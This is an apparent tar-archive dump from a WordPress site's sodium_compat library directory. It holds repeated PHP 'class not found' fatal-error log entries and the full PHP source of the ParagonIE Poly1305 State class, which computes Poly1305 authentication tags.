[04-Sep-2025 00:45:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[04-Sep-2025 01:04:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[06-Sep-2025 01:56:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[06-Sep-2025 02:05:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[09-Sep-2025 17:46:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[09-Sep-2025 17:57:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-Sep-2025 15:09:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-Sep-2025 15:18:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[18-Sep-2025 17:17:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[19-Sep-2025 06:36:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[19-Sep-2025 06:49:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[22-Sep-2025 12:46:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[22-Sep-2025 13:00:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[25-Sep-2025 22:02:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[25-Sep-2025 22:14:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Oct-2025 10:43:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Oct-2025 10:50:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Nov-2025 08:32:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Nov-2025 08:42:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[06-Dec-2025 18:49:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[06-Dec-2025 19:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[23-Dec-2025 11:48:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[23-Dec-2025 12:04:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[24-Dec-2025 15:03:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[24-Dec-2025 15:26:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[04-Jan-2026 10:11:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[04-Jan-2026 10:20:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[06-Jan-2026 01:24:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[06-Jan-2026 01:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[13-Jan-2026 06:30:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-Jan-2026 00:02:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-Jan-2026 00:19:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[21-Feb-2026 02:57:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
Core32/Poly1305/.htaccess000064400000000000152222652550010627 0ustar00Core32/Poly1305/State.php000064400000037135152222652550010645 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305_State', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305_State
 */
class ParagonIE_Sodium_Core32_Poly1305_State extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $r;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core32_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            // st->r[0] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4))
                ->setUnsignedInt(true)
                ->mask(0x3ffffff),
            // st->r[1] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4))
                ->setUnsignedInt(true)
                ->shiftRight(2)
                ->mask(0x3ffff03),
            // st->r[2] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4))
                ->setUnsignedInt(true)
                ->shiftRight(4)
                ->mask(0x3ffc0ff),
            // st->r[3] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4))
                ->setUnsignedInt(true)
                ->shiftRight(6)
                ->mask(0x3f03fff),
            // st->r[4] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4))
                ->setUnsignedInt(true)
                ->shiftRight(8)
                ->mask(0x00fffff)
        );

        /* h = 0 */
        $this->h = array(
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true)
        );

        /* save pad for later */
        $this->pad = array(
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4))
                ->setUnsignedInt(true)->toInt64(),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);

        /* handle leftover */
        if ($this->leftover) {
            /** @var int $want */
            $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run $this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes & ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                /** @var string $block */
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT);
        }
        $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this->final ? 0 : 1 << 24)); /* 1 << 128 */
        $hibit->setUnsignedInt(true);
        $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true);
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $d0
         * @var ParagonIE_Sodium_Core32_Int64 $d1
         * @var ParagonIE_Sodium_Core32_Int64 $d2
         * @var ParagonIE_Sodium_Core32_Int64 $d3
         * @var ParagonIE_Sodium_Core32_Int64 $d4
         * @var ParagonIE_Sodium_Core32_Int64 $r0
         * @var ParagonIE_Sodium_Core32_Int64 $r1
         * @var ParagonIE_Sodium_Core32_Int64 $r2
         * @var ParagonIE_Sodium_Core32_Int64 $r3
         * @var ParagonIE_Sodium_Core32_Int64 $r4
         *
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $r0 = $this->r[0]->toInt64();
        $r1 = $this->r[1]->toInt64();
        $r2 = $this->r[2]->toInt64();
        $r3 = $this->r[3]->toInt64();
        $r4 = $this->r[4]->toInt64();

        $s1 = $r1->toInt64()->mulInt(5, 3);
        $s2 = $r2->toInt64()->mulInt(5, 3);
        $s3 = $r3->toInt64()->mulInt(5, 3);
        $s4 = $r4->toInt64()->mulInt(5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 = $h0->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))
                    ->mask(0x3ffffff)
            )->toInt64();
            $h1 = $h1->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4))
                    ->shiftRight(2)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h2 = $h2->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4))
                    ->shiftRight(4)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h3 = $h3->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4))
                    ->shiftRight(6)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h4 = $h4->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))
                    ->shiftRight(8)
                    ->orInt32($hibit)
            )->toInt64();

            /* h *= r */
            $d0 = $zero
                ->addInt64($h0->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h1, 27))
                ->addInt64($s3->mulInt64($h2, 27))
                ->addInt64($s2->mulInt64($h3, 27))
                ->addInt64($s1->mulInt64($h4, 27));

            $d1 = $zero
                ->addInt64($h0->mulInt64($r1, 27))
                ->addInt64($h1->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h2, 27))
                ->addInt64($s3->mulInt64($h3, 27))
                ->addInt64($s2->mulInt64($h4, 27));

            $d2 = $zero
                ->addInt64($h0->mulInt64($r2, 27))
                ->addInt64($h1->mulInt64($r1, 27))
                ->addInt64($h2->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h3, 27))
                ->addInt64($s3->mulInt64($h4, 27));

            $d3 = $zero
                ->addInt64($h0->mulInt64($r3, 27))
                ->addInt64($h1->mulInt64($r2, 27))
                ->addInt64($h2->mulInt64($r1, 27))
                ->addInt64($h3->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h4, 27));

            $d4 = $zero
                ->addInt64($h0->mulInt64($r4, 27))
                ->addInt64($h1->mulInt64($r3, 27))
                ->addInt64($h2->mulInt64($r2, 27))
                ->addInt64($h3->mulInt64($r1, 27))
                ->addInt64($h4->mulInt64($r0, 27));

            /* (partial) h %= p */
            $c = $d0->shiftRight(26);
            $h0 = $d0->toInt32()->mask(0x3ffffff);
            $d1 = $d1->addInt64($c);

            $c = $d1->shiftRight(26);
            $h1 = $d1->toInt32()->mask(0x3ffffff);
            $d2 = $d2->addInt64($c);

            $c = $d2->shiftRight(26);
            $h2 = $d2->toInt32()->mask(0x3ffffff);
            $d3 = $d3->addInt64($c);

            $c = $d3->shiftRight(26);
            $h3 = $d3->toInt32()->mask(0x3ffffff);
            $d4 = $d4->addInt64($c);

            $c = $d4->shiftRight(26);
            $h4 = $d4->toInt32()->mask(0x3ffffff);
            $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3));

            $c = $h0->shiftRight(26);
            $h0 = $h0->mask(0x3ffffff);
            $h1 = $h1->addInt32($c);

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE;
        }

        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $this->h = array($h0, $h1, $h2, $h3, $h4);
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
                ),
                $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
        }

        /**
         * @var ParagonIE_Sodium_Core32_Int32 $f
         * @var ParagonIE_Sodium_Core32_Int32 $g0
         * @var ParagonIE_Sodium_Core32_Int32 $g1
         * @var ParagonIE_Sodium_Core32_Int32 $g2
         * @var ParagonIE_Sodium_Core32_Int32 $g3
         * @var ParagonIE_Sodium_Core32_Int32 $g4
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        $c = $h1->shiftRight(26);           # $c = $h1 >> 26;
        $h1 = $h1->mask(0x3ffffff);         # $h1 &= 0x3ffffff;

        $h2 = $h2->addInt32($c);            # $h2 += $c;
        $c = $h2->shiftRight(26);           # $c = $h2 >> 26;
        $h2 = $h2->mask(0x3ffffff);         # $h2 &= 0x3ffffff;

        $h3 = $h3->addInt32($c);            # $h3 += $c;
        $c = $h3->shiftRight(26);           # $c = $h3 >> 26;
        $h3 = $h3->mask(0x3ffffff);         # $h3 &= 0x3ffffff;

        $h4 = $h4->addInt32($c);            # $h4 += $c;
        $c = $h4->shiftRight(26);           # $c = $h4 >> 26;
        $h4 = $h4->mask(0x3ffffff);         # $h4 &= 0x3ffffff;

        $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c, 5);
        $c = $h0->shiftRight(26);           # $c = $h0 >> 26;
        $h0 = $h0->mask(0x3ffffff);         # $h0 &= 0x3ffffff;
        $h1 = $h1->addInt32($c);            # $h1 += $c;

        /* compute h + -p */
        $g0 = $h0->addInt(5);
        $c  = $g0->shiftRight(26);
        $g0 = $g0->mask(0x3ffffff);
        $g1 = $h1->addInt32($c);
        $c  = $g1->shiftRight(26);
        $g1 = $g1->mask(0x3ffffff);
        $g2 = $h2->addInt32($c);
        $c  = $g2->shiftRight(26);
        $g2 = $g2->mask(0x3ffffff);
        $g3 = $h3->addInt32($c);
        $c  = $g3->shiftRight(26);
        $g3 = $g3->mask(0x3ffffff);
        $g4 = $h4->addInt32($c)->subInt(1 << 26);

        # $mask = ($g4 >> 31) - 1;
        /* select h if h < p, or h + -p if h >= p */
        $mask = (int) (($g4->toInt() >> 31) + 1);

        $g0 = $g0->mask($mask);
        $g1 = $g1->mask($mask);
        $g2 = $g2->mask($mask);
        $g3 = $g3->mask($mask);
        $g4 = $g4->mask($mask);

        /** @var int $mask */
        $mask = ~$mask;

        $h0 = $h0->mask($mask)->orInt32($g0);
        $h1 = $h1->mask($mask)->orInt32($g1);
        $h2 = $h2->mask($mask)->orInt32($g2);
        $h3 = $h3->mask($mask)->orInt32($g3);
        $h4 = $h4->mask($mask)->orInt32($g4);

        /* h = h % (2^128) */
        $h0 = $h0->orInt32($h1->shiftLeft(26));
        $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20));
        $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14));
        $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8));

        /* mac = (h + pad) % (2^128) */
        $f = $h0->toInt64()->addInt64($this->pad[0]);
        $h0 = $f->toInt32();
        $f = $h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow);
        $h1 = $f->toInt32();
        $f = $h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow);
        $h2 = $f->toInt32();
        $f = $h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow);
        $h3 = $f->toInt32();

        return $h0->toReverseString() .
            $h1->toReverseString() .
            $h2->toReverseString() .
            $h3->toReverseString();
    }
}
Core32/ChaCha20/error_log000064400000125000152222652550010773 0ustar00[02-Sep-2024 22:16:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:16:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:16:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:16:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:17:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:17:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:17:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:17:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[19-Sep-2024 20:21:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
